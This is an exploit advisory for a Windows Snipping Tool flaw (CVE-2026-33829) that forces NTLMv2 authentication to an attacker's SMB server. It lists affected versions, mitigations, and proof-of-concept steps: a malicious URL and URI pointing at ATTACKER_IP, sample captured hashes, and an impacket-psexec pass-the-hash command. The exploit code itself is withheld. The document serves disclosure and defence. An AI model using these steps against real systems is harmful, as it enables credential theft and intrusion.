# Exploit Title: Windows Snipping Tool - NTLMv2 Hash Hijack
# Date: 2026-04-22
# Exploit Author: nu11secur1ty
# Video Demo: https://www.patreon.com/posts/cve-2026-33829-156243398
# Vendor Homepage: https://www.microsoft.com
# Software Link: Built-in Windows Snipping Tool
# Version: Windows 10, Windows 11, Windows Server 2012-2025 (pre-April 2026
patch)
# Tested on: Windows 11 Pro (Build 22621) / Kali Linux 2026.1
# CVE: CVE-2026-33829
# Attack Type: Remote / Network-based
# Impact: Credential Theft (NTLMv2 Hash) / Pass-the-Hash
# CVSS Score: 4.3 (Medium) but HIGH impact in practice
## Vulnerable Systems
- Windows 10 (all versions before April 14, 2026 patch)
- Windows 11 (all versions before April 14, 2026 patch)
- Windows Server 2012, 2016, 2019, 2022, 2025 (before April 14, 2026 patch)
## Description
A vulnerability in Windows Snipping Tool (CVE-2026-33829) allows attackers
to
force NTLMv2 authentication to a remote SMB server via crafted
ms-screensketch:edit
URI. When a victim clicks a malicious link and approves the "Open Snipping
Tool"
prompt, Windows automatically sends the user's NTLMv2 hash to the
attacker-controlled
server. This exploit extends beyond the original PoC by also harvesting
HTTP NTLM
hashes (via WPAD), LLMNR, and MDNS poisoning - capturing MULTIPLE valid
hashes from
a SINGLE click. Captured hashes can be used for Pass-the-Hash attacks or
cracked
with Hashcat.
## Exploit Features (nu11secur1ty edition)
- ✅ Snipping Tool NTLM hash capture (original vector)
- ✅ Automatic HTTP NTLM authentication capture (additional vector)
- ✅ WPAD poisoning (automatic proxy config)
- ✅ LLMNR/MDNS poisoning (fallback vectors)
- ✅ Multi-harvest - captures multiple hashes from one click
- ✅ One-command execution (sudo python3 exploit.py)
- ✅ Auto-detects terminal and opens Responder in new window
- ✅ Built-in HTTP server for HTML delivery
## Proof of Concept
**Video Demonstration (Patreon Exclusive):**
https://www.patreon.com/posts/cve-2026-33829-156243398
1. Run exploit on attacker machine (Kali Linux):
sudo python3 CVE-2026-33829-NTLMv2-Hash-Hijack.py
2. Victim (Windows 11) opens the malicious URL:
http://<ATTACKER_IP>/exploit.html
3. Victim clicks the button and approves "Open Snipping Tool"
4. Attacker captures NTLMv2 hash(es):
[HTTP] NTLMv2 Username : \Hacked
[HTTP] NTLMv2 Hash : Hacked:::157e1f851f7c17e7:16D87BC0AD284FB6...
5. Attacker performs Pass-the-Hash to gain access:
impacket-psexec -hashes :<HASH> Hacked@<VICTIM_IP>
## Attack Vector
ms-screensketch:edit?filePath=\\<ATTACKER_IP>\test\evil.png
## Requirements
Attacker: Kali Linux (or any Linux with Python3, impacket, responder)
Victim: Windows 10/11 with Snipping Tool (unpatched)
## Mitigations
- Apply Microsoft patch from April 14, 2026
- Block outbound SMB traffic (port 445)
- Disable NTLMv1 and restrict NTLMv2 via GPO
- Educate users not to click "Open Snipping Tool" prompts from untrusted
sources
## References
- https://cybersecuritynews.com/windows-snipping-tool-vulnerability/
- https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-33829
-
https://github.com/blackarrowsec/redteam-research/tree/master/CVE-2026-33829
## Exploit Code (NFO)
The exploit will not be published for security reasons! For more
information, please get in touch with me!
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Penetration Testing Engineer
Exploit developer at https://packetstorm.news/
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